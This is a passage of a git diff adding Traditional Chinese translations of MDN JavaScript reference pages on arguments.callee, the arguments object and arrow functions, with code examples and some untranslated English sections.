+var sillyFunction = function (recursed) {
+    if (!recursed) { return arguments.callee(true); }
+    if (this !== global) {
+        alert("This is: " + this);
+    } else {
+        alert("This is the global");
+    }
+}
+
+sillyFunction();</pre>
+
+<p>ECMAScript 3 resolved these issues by allowing named function expressions. For example:</p>
+
+<pre class="brush: js">[1,2,3,4,5].map(function factorial (n) {
+    return !(n &gt; 1) ? 1 : factorial(n-1)*n;
+});</pre>
+
+<p>This has numerous benefits:</p>
+
+<ul>
+ <li>the function can be called like any other from inside your code</li>
+ <li>it does not create a variable in the outer scope (<a href="http://kangax.github.io/nfe/#example_1_function_expression_identifier_leaks_into_an_enclosing_scope">except for IE 8 and below</a>)</li>
+ <li>it has better performance than accessing the arguments object</li>
+</ul>
+
+<p>Another feature that was deprecated was <code>arguments.callee.caller</code>, or more specifically <code>Function.caller</code>. Why is this? Well, at any point in time you can find the deepest caller of any function on the stack, and as I said above looking at the call stack has one single major effect: it makes a large number of optimizations impossible, or much much more difficult. For example, if you cannot guarantee that a function <code>f</code> will not call an unknown function, it is not possible to inline <code>f</code>. Basically it means that any call site that may have been trivially inlinable accumulates a large number of guards:</p>
+
+<pre class="brush: js">function f (a, b, c, d, e) { return a ? b * c : d * e; }</pre>
+
+<p>If the JavaScript interpreter cannot guarantee that all the provided arguments are numbers at the point that the call is made, it needs to either insert checks for all the arguments before the inlined code, or it cannot inline the function. Now in this particular case a smart interpreter should be able to rearrange the checks to be more optimal and not check any values that would not be used. However in many cases that's just not possible and therefore it becomes impossible to inline.</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Using_arguments.callee_in_an_anonymous_recursive_function">Using <code>arguments.callee</code> in an anonymous recursive function</h3>
+
+<p>A recursive function must be able to refer to itself. Typically, a function refers to itself by its name. However, an anonymous function (which can be created by a <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function" title="JavaScript/Reference/Operators/Special/function">function expression</a> or the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" title="JavaScript/Reference/Global_Objects/Function"><code>Function</code> constructor</a>) does not have a name. Therefore if there is no accessible variable referring to it, the only way the function can refer to itself is by <code>arguments.callee</code>.</p>
+
+<p>The following example defines a function, which, in turn, defines and returns a factorial function. This example isn't very practical, and there are nearly no cases where the same result cannot be achieved with <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function" title="JavaScript/Reference/Operators/Special/function">named function expressions</a>.</p>
+
+<pre class="brush: js">function create() {
+   return function(n) {
+      if (n &lt;= 1)
+         return 1;
+      return n * arguments.callee(n - 1);
+   };
+}
+
+var result = create()(5); // returns 120 (5 * 4 * 3 * 2 * 1)</pre>
+
+<h3 id="A_use_of_arguments.callee_with_no_good_alternative">A use of <code>arguments.callee</code> with no good alternative</h3>
+
+<p>However, in a case like the following, there are not alternatives to <code>arguments.callee</code>, so its deprecation could be a bug (see {{Bug("725398")}}):</p>
+
+<pre class="brush: js">function createPerson (sIdentity) {
+    var oPerson = new Function("alert(arguments.callee.identity);");
+    oPerson.identity = sIdentity;
+    return oPerson;
+}
+
+var john = createPerson("John Smith");
+
+john();</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/functions/arguments/index.html b/files/zh-tw/web/javascript/reference/functions/arguments/index.html
new file mode 100644
index 0000000000..6b1d6a45a1
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/functions/arguments/index.html
@@ -0,0 +1,235 @@
+---
+title: Arguments 物件
+slug: Web/JavaScript/Reference/Functions/arguments
+tags:
+  - Functions
+  - JavaScript
+  - Reference
+  - arguments
+translation_of: Web/JavaScript/Reference/Functions/arguments
+---
+<div>
+<div>{{jsSidebar("Functions")}}</div>
+</div>
+
+<p><strong><code>arguments</code></strong> 物件是一個對應傳入函式之引數的類陣列（<code>Array-like</code>）物件。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox notranslate">arguments</pre>
+
+<h2 id="描述">描述</h2>
+
+<div class="blockIndicator note">
+<p>Note: 如果你有在使用 ES6 語法，建議參考<a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Functions/rest_parameters">其餘參數</a>。</p>
+</div>
+
+<div class="blockIndicator note">
+<p>Note: 「類陣列 (Array-like)」 的意思是 <code>arguments</code> 一樣擁有 <code>length</code>這項屬性，以及從 0 開始的索引，但是它沒有陣列內建的方法像是 <code>forEach()</code> ，或是 <code>map()</code> 。</p>
+</div>
+
+<p>The <code>arguments</code> object is a local variable available within all (non-arrow) functions. You can refer to a function's arguments within the function by using the <code>arguments</code> object. This object contains an entry for each argument passed to the function, the first entry's index starting at 0.</p>
+
+<p>For example, if a function is passed three arguments, you can refer to them as follows:</p>
+
+<pre class="brush: js notranslate">arguments[0]
+arguments[1]
+arguments[2]
+</pre>
+
+<p>arguments 也可以被指定：</p>
+
+<pre class="brush: js notranslate">arguments[1] = 'new value';</pre>
+
+<p><code>arguments</code> 物件不是陣列。它與陣列非常相似，但是它沒有除了 <code>length</code> 這個屬性以外的其他陣列屬性。舉例，它沒有 <code>pop</code> 這個陣列方法。</p>
+
+<p>然而，它依然可以被轉換為真正的陣列(Array)。</p>
+
+<pre class="brush: js notranslate">var args = Array.prototype.slice.call(arguments);
+var args = [].slice.call(arguments);
+
+// ES2015
+const args = Array.from(arguments);
+</pre>
+
+<div class="warning">
+<p class="brush: js">Using slice on arguments prevents optimizations in some JavaScript engines (V8 for example - <a href="https://github.com/petkaantonov/bluebird/wiki/Optimization-killers#3-managing-arguments">more information</a>). If you care for them, try constructing a new array by iterating through the arguments object instead. An alternative would be to use the despised <code>Array</code> constructor as a function:</p>
+
+<pre class="brush: js notranslate">var args = (arguments.length === 1 ? [arguments[0]] : Array.apply(null, arguments));</pre>
+</div>
+
+<p>You can use the <code>arguments</code> object if you call a function with more arguments than it is formally declared to accept. This technique is useful for functions that can be passed a variable number of arguments. Use <code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/length">arguments.length</a></code> to determine the number of arguments passed to the function, and then process each argument by using the <code>arguments</code> object. To determine the number of parameters in the function <a href="/en-US/docs/Glossary/Signature/Function">signature</a>, use the <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/length">Function.length</a></code> property.</p>
+
+<h3 id="Using_typeof_with_Arguments">Using <code>typeof</code> with Arguments</h3>
+
+<p>The typeof arguments returns 'object'. </p>
+
+<pre class="notranslate">console.log(typeof arguments); // 'object' </pre>
+
+<p>The typeof individual arguments can be determined with the use of indexing.</p>
+
+<pre class="notranslate">console.log(typeof arguments[0]); //this will return the typeof individual arguments.</pre>
+
+<h3 id="Using_the_Spread_Syntax_with_Arguments">Using the Spread Syntax with Arguments</h3>
+
+<p>You can also use the {{jsxref("Array.from()")}} method or the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operator</a> to convert arguments to a real Array:</p>
+
+<pre class="brush: js notranslate">var args = Array.from(arguments);
+var args = [...arguments];
+</pre>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee</a></code></dt>
+ <dd>Reference to the currently executing function.</dd>
+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/caller">arguments.caller</a></code> {{ Obsolete_inline() }}</dt>
+ <dd>Reference to the function that invoked the currently executing function.</dd>
+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/length">arguments.length</a></code></dt>
+ <dd>Reference to the number of arguments passed to the function.</dd>
+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/@@iterator">arguments[@@iterator]</a></code></dt>
+ <dd>Returns a new Array Iterator object that contains the values for each index in the arguments.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Defining_a_function_that_concatenates_several_strings">Defining a function that concatenates several strings</h3>
+
+<p>This example defines a function that concatenates several strings. The only formal argument for the function is a string that specifies the characters that separate the items to concatenate. The function is defined as follows:</p>
+
+<pre class="brush:js notranslate">function myConcat(separator) {
+  var args = Array.prototype.slice.call(arguments, 1);
+  return args.join(separator);
+}</pre>
+
+<p>You can pass any number of arguments to this function, and it creates a list using each argument as an item in the list.</p>
+
+<pre class="brush:js notranslate">// returns "red, orange, blue"
+myConcat(', ', 'red', 'orange', 'blue');
+
+// returns "elephant; giraffe; lion; cheetah"
+myConcat('; ', 'elephant', 'giraffe', 'lion', 'cheetah');
+
+// returns "sage. basil. oregano. pepper. parsley"
+myConcat('. ', 'sage', 'basil', 'oregano', 'pepper', 'parsley');</pre>
+
+<h3 id="Defining_a_function_that_creates_HTML_lists">Defining a function that creates HTML lists</h3>
+
+<p>This example defines a function that creates a string containing HTML for a list. The only formal argument for the function is a string that is "<code>u</code>" if the list is to be unordered (bulleted), or "<code>o</code>" if the list is to be ordered (numbered). The function is defined as follows:</p>
+
+<pre class="brush:js notranslate">function list(type) {
+  var result = '&lt;' + type + 'l&gt;&lt;li&gt;';
+  var args = Array.prototype.slice.call(arguments, 1);
+  result += args.join('&lt;/li&gt;&lt;li&gt;');
+  result += '&lt;/li&gt;&lt;/' + type + 'l&gt;'; // end list
+
+  return result;
+}</pre>
+
+<p>You can pass any number of arguments to this function, and it adds each argument as an item to a list of the type indicated. For example:</p>
+
+<pre class="brush:js notranslate">var listHTML = list('u', 'One', 'Two', 'Three');
+
+/* listHTML is:
+
+"&lt;ul&gt;&lt;li&gt;One&lt;/li&gt;&lt;li&gt;Two&lt;/li&gt;&lt;li&gt;Three&lt;/li&gt;&lt;/ul&gt;"
+
+*/</pre>
+
+<h3 id="Rest_default_and_destructured_parameters">Rest, default, and destructured parameters</h3>
+
+<p>The <code>arguments</code> object can be used in conjunction with <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default</a>, and <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">destructured</a> parameters.</p>
+
+<pre class="brush: js notranslate">function foo(...args) {
+  return args;
+}
+foo(1, 2, 3); // [1,2,3]
+</pre>
+
+<p>While the presence of <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default</a>, or <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">destructured</a> parameters does not alter the <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode#Making_eval_and_arguments_simpler">behavior of the <code>arguments</code> object in strict mode code</a>, there is a subtle difference for non-strict code.</p>
+
+<p>When a non-strict function <strong><strong>does </strong>not</strong> contain <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default</a>, or <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">destructured</a> parameters, then the values in the <code>arguments</code> object <strong>do</strong> track the values of the arguments (and vice versa). See the code below:</p>
+
+<pre class="brush: js notranslate">function func(a) {
+  arguments[0] = 99; // updating arguments[0] also updates a
+  console.log(a);
+}
+func(10); // 99
+</pre>
+
+<p>and</p>
+
+<pre class="brush: js notranslate">function func(a) {
+  a = 99; // updating a also updates arguments[0]
+  console.log(arguments[0]);
+}
+func(10); // 99
+</pre>
+
+<p>When a non-strict function <strong>does</strong> contain <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default</a>, or <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">destructured</a> parameters, then the values in the <code>arguments</code> object <strong>do not</strong> track the values of the arguments (and vice versa). Instead, they reflect the arguments provided at the time of invocation:</p>
+
+<pre class="brush: js notranslate">function func(a = 55) {
+  arguments[0] = 99; // updating arguments[0] does not also update a
+  console.log(a);
+}
+func(10); // 10</pre>
+
+<p>and</p>
+
+<pre class="brush: js notranslate">function func(a = 55) {
+  a = 99; // updating a does not also update arguments[0]
+  console.log(arguments[0]);
+}
+func(10); // 10
+</pre>
+
+<p>and</p>
+
+<pre class="brush: js notranslate">function func(a = 55) {
+  console.log(arguments[0]);
+}
+func(); // undefined</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.functions.arguments")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/functions/arrow_functions/index.html b/files/zh-tw/web/javascript/reference/functions/arrow_functions/index.html
new file mode 100644
index 0000000000..8eac06ba55
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/functions/arrow_functions/index.html
@@ -0,0 +1,340 @@
+---
+title: 箭頭函式
+slug: Web/JavaScript/Reference/Functions/Arrow_functions
+translation_of: Web/JavaScript/Reference/Functions/Arrow_functions
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><strong>箭頭函式運算式</strong>（arrow function expression）擁有比<a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/function">函式運算式</a>還簡短的語法。它沒有自己的 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/this">this</a></code>、<a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>、<a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/super">super</a>、<a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a> 等語法。本函式運算式適用於非方法的函式，但不能被用作建構式（constructor）。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-arrow.html")}}</div>
+
+<h2 id="基本語法">基本語法</h2>
+
+<pre class="syntaxbox notranslate">(參數1, 參數2, …, 參數N) =&gt; { 陳述式; }
+
+(參數1, 參數2, …, 參數N) =&gt; 表示式;
+// 等相同(參數1, 參數2, …, 參數N) =&gt; { return 表示式; }
+
+// 只有一個參數時,括號才能不加:
+(單一參數) =&gt; { 陳述式; }
+單一參數 =&gt; { 陳述式; }
+
+//若無參數，就一定要加括號:
+() =&gt; { statements }
+</pre>
+
+<h2 id="進階語法">進階語法</h2>
+
+<pre class="syntaxbox notranslate">// 用大括號將內容括起來，返回一個物件字面值表示法：
+params =&gt; ({foo: bar})
+
+// 支援<a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/rest_parameters">其餘參數</a>與<a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/Default_parameters">預設參數</a>
+(param1, param2, ...rest) =&gt; { statements }
+(param1 = defaultValue1, param2, …, paramN = defaultValueN) =&gt; {
+statements }
+
+// 也支援 parameter list 的<a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">解構</a>
+var f = ([a, b] = [1, 2], {x: c} = {x: a + b}) =&gt; a + b + c; f(); // 6
+</pre>
+
+<h2 id="說明">說明</h2>
+
+<p>也可參閱 <a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">"ES6 In Depth: Arrow functions" on hacks.mozilla.org</a>。</p>
+
+<p>箭頭函式有兩個重要的特性：更短的函式寫法與 <code>this</code> 變數的非綁定。</p>
+
+<h3 id="更短的函式寫法">更短的函式寫法</h3>
+
+<pre class="brush: js notranslate">var elements = [
+  'Hydrogen',
+  'Helium',
+  'Lithium',
+  'Beryllium'
+];
+
+// 這段函式會輸出[8, 6, 7, 9]這個陣列
+elements.<a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(function(element) {
+  return element.length;
+});
+
+// 上方這種一般的函式，可以被改寫成下方的箭頭函式
+elements.map((element) =&gt; {
+  return element.length;
+}); // [8, 6, 7, 9]
+
+// 如果輸入的參數只有一個，我們可以移除掉外面的括號
+elements.map(element =&gt; {
+  return element.length;
+}); // [8, 6, 7, 9]
+
+// 當箭頭函式裡的內容只有'return'的時候，我們可以拿掉return和外面的大括號
+elements.map(element =&gt; element.length); // [8, 6, 7, 9]
+
+// 在這個範例中，因為我們只需要length這個屬性，所以也可以使用<a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">解構賦值</a>：
+// 下方的'length'對應到我們想取得的屬性，而'lengthFooBArX'只是很普通的變數名稱,
+// 可以被任意修改成你想要的名字
+elements.map(({ length: lengthFooBArX }) =&gt; lengthFooBArX); // [8, 6, 7, 9]
+
+// 上面這種解構賦值之後的參數也可以被改寫為下面這樣。但要注意的是，在這個範例中，
+// 我們不是要指定'length'這個值給一個虛構的屬性，而是這個變數的名稱'length'本身就是
+// 用來當成我們想從物件上取得的屬性
+elements.map(({ length }) =&gt; length); // [8, 6, 7, 9]
+</pre>
+
+<h3 id="this_不分家"><code>this</code> 不分家</h3>
+
+<p>在有箭頭函數之前，每個新函式是依據如何被呼叫來定義自己的 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/this">this</a></code> 變數<br>
+ 例如:</p>
+
+<ul>
+ <li>在建構子時是一個新物件</li>
+ <li>在呼叫<a href="/zh-TW/docs/Web/JavaScript/Reference/Strict_mode">嚴格模式</a>函數時是 undefined</li>
+ <li>以物件方法呼叫時則為基礎物件</li>
+ <li>等等....</li>
+</ul>
+
+<p>事實證明這對物件導向程式設計來說並不理想。</p>
+
+<pre class="brush: js notranslate">function Person() {
+  // Person() 建構式將 this 定義為它自己的一個實體
+  this.age = 0;
+
+  setInterval(function growUp() {
+    // 在非嚴格模式下, growUp() 函式把 this 定義為全域物件
+    // (因為那是 growUp()執行的所在)，
+    // 與 Person() 建構式所定義的 this 有所不同
+    this.age++;
+  }, 1000);
+}
+
+var p = new Person();</pre>
+
+<p>在 ECMAScript 3/5 裡面，有關 <code>this</code> 的問題，可以透過指派 <code>this</code> 值給可以關閉的變數解決。</p>
+
+<pre class="brush: js notranslate">function Person() {
+  var self = this; // 有些人喜歡 `that` 而不是 `self`.
+                   // 選好一種取法後始終如一
+  self.age = 0;
+
+  setInterval(function growUp() {
+    // 這個 callback 參考 `self` 變數，為預期中的物件。
+    self.age++;
+  }, 1000);
+}</pre>
+
+<p>或者透過 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">bind</a> 函式來綁定 <code>this</code> 變數到指定函式（以上面為例，就是 <code>growUp()</code> 函式）。</p>
+
+<p>箭頭函式並不擁有自己的 <code>this 變</code>數<code>；</code>使用的 this <code>值來自</code>封閉的文本上下文，也就是說，箭頭函式遵循常規變量查找規則。因此，如果在當前範圍中搜索不到 this 變量時，他們最終會尋找其封閉範圍。</p>
+
+<p>因此，在以下程式碼內，傳遞給 <code>setInterval</code> 的 箭頭函式中的<code>this</code> ，會與封閉函式的 <code>this</code> 值相同：</p>
+
+<pre class="brush: js notranslate">function Person(){
+  this.age = 0;
+
+  setInterval(() =&gt; {
+    this.age++; // |this| 適切的參考了Person建構式所建立的物件
+  }, 1000);
+}
+
+var p = new Person();</pre>
+
+<h4 id="和嚴格模式的關係">和嚴格模式的關係</h4>
+
+<p>由於 <code>this</code> 變數具有詞彙上綁定意義，所以<a href="/zh-TW/docs/Web/JavaScript/Reference/Strict_mode">嚴格模式</a>的宣告對 <code>this</code> 的作用將被忽略。</p>
+
+<pre class="brush: js notranslate">var f = () =&gt; {'use strict'; return this};
+f() === window; // 或是 global 物件</pre>
+
+<p>但嚴格模式的其他作用依舊存在。</p>
+
+<h4 id="由_call_與_apply_函式呼叫">由 call 與 apply 函式呼叫</h4>
+
+<p>由於箭頭函式並沒有自己的 <code>this</code>，所以透過 <code>call()</code> 或 <code>apply()</code> 呼叫箭頭函式只能傳入參數。<code>thisArg</code> 將會被忽略。</p>
+
+<pre class="brush: js notranslate">var adder = {
+  base : 1,
+  add : function(a) {
+    var f = v =&gt; v + this.base;
+    return f(a);
+  },
+  addThruCall: function(a) {
+    var f = v =&gt; v + this.base;
+    var b = {
+      base : 2
+    };
+    return f.call(b, a);
+  }
+};
+console.log(adder.add(1));         // 顯示 2
+console.log(adder.addThruCall(1)); // 依舊顯示 2
+</pre>
+
+<h3 id="不綁定_arguments">不綁定 <code>arguments</code></h3>
+
+<p>箭頭函式並沒有自己的 <a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments</code> 物件</a>。所以在此例中，<code>arguments</code> 只是參考到 enclosing 作用域裡面的相同變數：</p>
+
+<pre class="brush: js notranslate">var arguments = [1, 2, 3];
+var arr = () =&gt; arguments[0];
+
+arr(); // 1
+
+function foo(n) {
+  var f = () =&gt; arguments[0] + n; // <em>foo</em>'s implicit arguments binding. arguments[0] is n
+  return f();
+}
+
+foo(1); // 2</pre>
+
+<p>大多時候，使用<a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/rest_parameters">其餘參數</a> 是取代 <code>arguments</code> 物件的較好方式。</p>
+
+<pre class="brush: js notranslate">function foo(n) {
+  var f = (...args) =&gt; args[0] + n;
+  return f(10);
+}
+
+foo(1); // 11</pre>
+
+<h3 id="將箭頭函式撰寫為方法">將箭頭函式撰寫為方法</h3>
+
+<p>如同前述，箭頭函式運算式最適合用在非方法的函式。來看看如果要把它們當成方法來用，會發生什麼事：</p>
+
+<pre class="brush: js notranslate"><code>'use strict';
+var obj = {
+  i: 10,
+  b: () =&gt; console.log(this.i, this),
+  c: function() {
+    console.log(this.i, this);
+  }
+}
+obj.b(); // 印出 undefined, Object {...}
+obj.c(); // 印出 10, Object {...}</code></pre>
+
+<p>箭頭函式並沒有自己的 <code>this</code>。另一個例子與 {{jsxref("Object.defineProperty()")}} 有關：</p>
+
+<pre class="brush: js notranslate">'use strict';
+
+var obj = {
+  a: 10
+};
+
+Object.defineProperty(obj, 'b', {
+  get: () =&gt; {
+    console.log(this.a, typeof this.a, this); // undefined 'undefined' Window {...} (or the global object)
+    return this.a + 10; // represents global object 'Window', therefore 'this.a' returns 'undefined'
+  }
+});
+</pre>
+
+<h3 id="使用_new_運算子">使用 <code>new</code> 運算子</h3>
+
+<p>箭頭函式不可作為建構式使用；若使用於建構式，會在使用 <code>new</code> 時候拋出錯誤。</p>
+
+<pre class="brush: js notranslate">var Foo = () =&gt; {};
+var foo = new Foo(); // TypeError: Foo is not a constructor</pre>
+
+<h3 id="使用_prototype_屬性">使用 <code>prototype</code> 屬性</h3>
+
+<p>箭頭函式並沒有原型（<code>prototype</code>）屬性。</p>
+
+<pre class="brush: js notranslate">var Foo = () =&gt; {};
+console.log(Foo.prototype); // undefined
+</pre>
+
+<h3 id="使用關鍵字_yield">使用關鍵字 <code>yield</code></h3>
+
+<p><code><a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> 關鍵字無法用於箭頭函式的 body（except when permitted within functions further nested within it）。因此，箭頭函式無法使用 generator。</p>
+
+<h2 id="函式主體（Function_body）">函式主體（Function body）</h2>
+
+<p>箭頭函式可以變成 concise body 或者平常使用的 block body。</p>
+
+<p>在 concise body 裡面只需要輸入運算式，就會附上內建的回傳。在 block body 裡面就必須附上明確的 <code>return</code> 宣告。</p>
+
+<pre class="brush: js notranslate"><code>var func = x =&gt; x * x;                  // concise 語法會內建 "return"
+var func = (x, y) =&gt; { return x + y; }; // block body 需要明確的 "return"</code></pre>
+
+<h2 id="回傳物件字面值">回傳物件字面值</h2>
+
+<p>請注意只使用 <code>params =&gt; {object:literal}</code> 並不會按照期望般回傳物件字面值（object literal）。</p>
+
+<pre class="brush: js notranslate"><code>var func = () =&gt; { foo: 1 };               // Calling func() returns undefined!
+var func = () =&gt; { foo: function() {} };   // SyntaxError: Unexpected token (</code></pre>
+
+<p>因為在大括弧（<code>{}</code>）裡面的文字會被解析為有序宣告（例如 <code>foo</code> 會被當作標記（label）、而不是物件的 key ）</p>
+
+<p>要記得把物件字面值包在圓括弧內。</p>
+
+<pre class="brush: js notranslate"><code>var func = () =&gt; ({foo: 1});
+var func = () =&gt; ({ foo: function() {} }); </code>
+</pre>
+
+<h2 id="換行">換行</h2>
+
+<p>箭頭函式不可以在參數及箭頭間包含換行。</p>
+
+<pre class="brush: js notranslate"><code>var func = ()
+           =&gt; 1; // SyntaxError: expected expression, got '=&gt;'</code></pre>
+
+<h2 id="Parsing_order">Parsing order</h2>
+
+<p>箭頭函式的箭頭儘管不是操作符，但藉著<a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">運算子優先等級</a>，箭頭函式有著和普通函式不相同的特殊解析規則。</p>
+
+<pre class="brush: js notranslate"><code>let callback;
+
+callback = callback || function() {}; // ok
+callback = callback || () =&gt; {};      // SyntaxError: invalid arrow-function arguments
+callback = callback || (() =&gt; {});    // ok</code></pre>
+
+<h2 id="更多範例">更多範例</h2>
+
+<pre class="brush: js notranslate">// 回傳 undefined 的箭頭函式
+let empty = () =&gt; {};
+
+(() =&gt; "foobar")() // 回傳 "foobar"
+
+var simple = a =&gt; a &gt; 15 ? 15 : a;
+simple(16); // 15
+simple(10); // 10
+
+let max = (a, b) =&gt; a &gt; b ? a : b;
+
+// Easy array filtering, mapping, ...
+
+var arr = [5, 6, 13, 0, 1, 18, 23];
+var sum = arr.reduce((a, b) =&gt; a + b);  // 66
+var even = arr.filter(v =&gt; v % 2 == 0); // [6, 0, 18]
+var double = arr.map(v =&gt; v * 2);       // [10, 12, 26, 0, 2, 36, 46]
+
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.functions.arrow_functions")}}</p>
+</div>
+
+<h2 id="參閱">參閱</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">"ES6 In Depth: Arrow functions" on hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/functions/default_parameters/index.html b/files/zh-tw/web/javascript/reference/functions/default_parameters/index.html
new file mode 100644
index 0000000000..6faacba9a3
--- /dev/null
